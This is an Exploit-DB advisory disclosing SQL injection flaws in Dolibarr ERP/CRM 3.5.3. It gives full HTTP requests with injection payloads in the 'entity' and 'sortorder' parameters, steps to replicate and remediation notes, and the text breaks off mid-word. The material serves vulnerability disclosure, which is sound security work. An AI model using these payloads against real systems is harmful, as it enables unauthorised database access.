Exploit-DB #34007
Description: Dolibarr ERP/CRM 3.5.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-07-08
Author: Deepak Rathore

Exploit:
Vulnerability Name: SQL injection
Severity: Critical
URL: http://localhost/dolibarr/user/fiche.php 
Affected Users: All authenticated users

Issue details: The "entity" parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the entity parameter, and a database error message was returned.

The database appears to be MySQL.

HTTP request: 
POST /dolibarr/user/fiche.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/user/fiche.php?id=2&action=edit
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e[PII_REDACTED]7-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]5619
Content-Length: 2023

----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="token"

4e3018ee618da95bccb8c38845a4f027
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="action"

update
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="entity"

1'
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="lastname"

test
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="photo"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="firstname"

test1
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="job"


----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="login"

test
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="password"

123qwe,./
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="admin"

0
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="superadmin"

0
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="office_phone"


----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="user_mobile"


----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="office_fax"


----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="email"


----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="signature"


----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="fk_user"

-1
----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="accountancy_code"


----------------------------[PII_REDACTED]5619
Content-Disposition: form-data; name="save"

Save
----------------------------[PII_REDACTED]5619--

Affected parameter(s): entity

Steps to replicate:
1.	Login into Dolibarr application with any user and go to "Users & Group" --> "User Card".
2.	Click on modify to modify the user details
3.	Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
4.	After starting tamper data addon, click on save to save the user details and intercept the request
5.	Manipulate entity parameter original value 1 with 1' and submit the request and see the output in browser
6.	A single quote was submitted in the entity parameter, and a database error message was returned that is the proof of vulnerability

Remediation detail: The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Issue background: SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.  Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Tools used: Mozilla Firefox browser and Tamper Data Addon



Vulnerability Name: SQL injection

Severity: Critical

URL: http://localhost/dolibarr/user/group/index.php
Affected Users: All authenticated users

Issue details: The "sortorder " parameter appears to be vulnerable to SQL injection attacks. Attack payload 1##xa7## was submitted in the sortorder parameter, and a database error message was returned.

The database appears to be MySQL.

HTTP request: 
GET /dolibarr/user/group/index.php?begin=&sall=&&search_group=&sortfield=g.nom&sortorder=1%c0%00xa7%c0%a2 HTTP/1.1
Cookie: DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=plsgp95ms82gnmrbp544u9tb71
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

Affected parameter(s): sortorder

Steps to replicate:
1.	Login into Dolibarr application with any user and put below URL in address bar of the browser and see the response 
2.	A database error message was returned that is the proof of vulnerability

 

Remediation detail: The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Issue back